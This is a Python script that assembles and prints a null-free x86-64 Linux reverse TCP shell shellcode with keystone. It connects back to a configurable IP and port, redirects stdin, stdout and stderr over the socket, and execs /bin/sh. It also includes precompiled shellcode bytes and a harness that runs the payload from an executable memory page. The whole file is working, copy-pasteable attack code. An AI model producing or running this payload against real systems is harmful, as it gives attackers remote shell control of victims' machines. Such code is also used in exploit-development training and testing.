#!/usr/bin/env python3 import ctypes, struct, binascii, os, socket from keystone import * ##################################################### # # # Dynamic null-free reverse TCP shell(65 bytes) * # Written by Philippe Dugre # # # ##################################################### #shellcode = b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e" #shellcode += b"\x0f\x05\x97\xb0\x2a\x48\xb9\xfe\xff\xee" #shellcode += b"\xa3\x80\xff\xff\xfe\x48\xf7\xd9\x51\x54" #shellcode += b"\x5e\xb2\x10\x0f\x05\x6a\x03\x5e\xb0\x21" #shellcode += b"\xff\xce\x0f\x05\x75\xf8\x99\xb0\x3b\x52" #shellcode += b"\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68" #shellcode += b"\x51\x54\x5f\x0f\x05" # This script requires keystone to generate the shellcode, # but it can easily be compiled with nasm with a few modifications. # Generates struct from IP and port def sockaddr(): # Change this IP = "127.0.0.1" PORT = 4444 family = struct.pack('H', socket.AF_INET) portbytes = struct.pack('H', socket.htons(PORT)) ipbytes = socket.inet_aton(IP) number = struct.unpack('Q', family + portbytes + ipbytes) number = -number[0] #negate return "0x" + binascii.hexlify(struct.pack('>q', number)).decode('utf-8') # Function to format shellcode to a printable output. Currently python3 formatting. # Modify according to the language you use. def format_shellcode(shellcode): LINE_LENGTH=40 raw = binascii.hexlify(shellcode) escaped = (b"\\x" + b"\\x".join(raw[i:i+2] for i in range (0, len(raw), 2))).decode('utf-8') lines = [escaped[i: i+LINE_LENGTH] for i in range(0, len(escaped), LINE_LENGTH)] return "shellcode = \tb\"" + "\"\nshellcode += \tb\"".join(lines) + "\"" def main(): # Note: null-byte depends on the address and port. # Special modifications might be needed for some address. address = sockaddr() # Shellcode is here assembly = ( "socket: " " push byte 41 ;" # Push/pop will set syscall num " pop rax ;" " cdq ;" # cdq sets rdx to 0 if rax is positive " push byte 2 ;" # AF_INET = 2 " pop rdi ;" " push byte 1 ;" # SOCK_STREAM = 1 " pop rsi ;" " syscall ;" # socket(AF_INET, SOCK_STREAM, 0) "connect: ;" " xchg eax, edi ;" # rdi is 2, so moving only al is doable " mov al, 42 ;" " mov rcx, " + address + ";" + # Socket address and port " neg rcx ;" " push rcx ;" " push rsp ;" # mov rsi, rsp. This it the pointer to sockaddr " pop rsi ;" " mov dl, 16 ;" # sockaddr length " syscall ;" # connect(s, addr, len(addr)) "dup2: ;" " push byte 3 ;" # Start with 3 and decrement " pop rsi ;" "dup2_loop: " # Duplicate socket fd into stdin, # stdout and stderr, which fd are 0, 1 and 2 " mov al, 33 ;" # If there is no error, rax is 0 on connect and dup2 " dec esi ;" " syscall ;" # dup2(s, rsi) " jnz dup2_loop ;" # Jump when esi == 0 "execve: " " cdq ;" " mov al, 59 ;" # execve syscall is 59 " push rdx ;" # Put null-byte in /bin//sh " mov rcx, 0x68732f2f6e69622f ;" # /bin//sh " push rcx ;" " push rsp ;" # rsp points to the top of the stack, which is occupied by /bin/sh " pop rdi ;" # We use a push/pop to prevent null-byte and get a shorter shellcode " syscall ;" # execve('/bin//sh', 0, 0) ) engine = Ks(KS_ARCH_X86, KS_MODE_64) shellcode, count = engine.asm(assembly) shellcode = bytearray(shellcode) # Needs to be mutable for later print("Number of instructions: " + str(count)) # Print shellcode in a copy-pasteable format print() print("Shellcode length: %d" % len(shellcode)) print() print(format_shellcode(shellcode)) print() ##################################################################### # TESTING THE SHELLCODE # ##################################################################### # The rest of the script is used to test the shellcode. Don't run this if you just need the shellcode # Leave time to attach the debugger print("If you want to debug, attach the debugger to the python process with pid %d then press enter." % os.getpid()) input() # Load libraries libc = ctypes.cdll.LoadLibrary("libc.so.6") libpthread = ctypes.cdll.LoadLibrary("libpthread.so.0") # Put the shellcode into a ctypes valid type. shellcode = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # Both function returns 64bits pointers libc.malloc.restype = ctypes.POINTER(ctypes.c_int64) libc.mmap.restype = ctypes.POINTER(ctypes.c_int64) # Get page size for mmap page_size = libc.getpagesize() # mmap acts like malloc, but can also set memory protection so we can create a Write/Execute shellcodefer # void *mmap(void *addr, size_t len, int prot, int flags, # int fildes, off_t off); ptr = libc.mmap(ctypes.c_int64(0), # NULL ctypes.c_int(page_size), # Pagesize, needed for alignment ctypes.c_int(0x07), # Read/Write/Execute: PROT_READ | PROT_WRITE | PROT_EXEC ctypes.c_int(0x21), # MAP_ANONYMOUS | MAP_SHARED ctypes.c_int(-1), # No file descriptor ctypes.c_int(0)) # No offset # Copy shellcode to newly allocated page. libc.memcpy(ptr, # Destination of our shellcode shellcode, # Shellcode location in memory ctypes.c_int(len(shellcode))) # Nomber of bytes to copy # Allocate space for pthread_t object. # Note that pthread_t is 8 bytes long, so we'll treat it as an opaque int64 for simplicity thread = libc.malloc(ctypes.c_int(8)) # Create pthread in the shellcodefer. # int pthread_create(pthread_t *thread, const pthread_attr_t *attr, # void *(*start_routine) (void *), void *arg); libpthread.pthread_create(thread, # The pthread_t structure pointer where the thread id will be stored ctypes.c_int(0),# attributes = NULL ptr, # Our shellcode, which is what we want to execute ctypes.c_int(0))# NULL, as we don't pass arguments # Wait for the thread. # int pthread_join(pthread_t thread, void **retval); libpthread.pthread_join(thread.contents,# Here, we pass the actual thread object, not a pointer to it ctypes.c_int(0))# Null, as we don't expect a return value if(__name__ == "__main__"): main()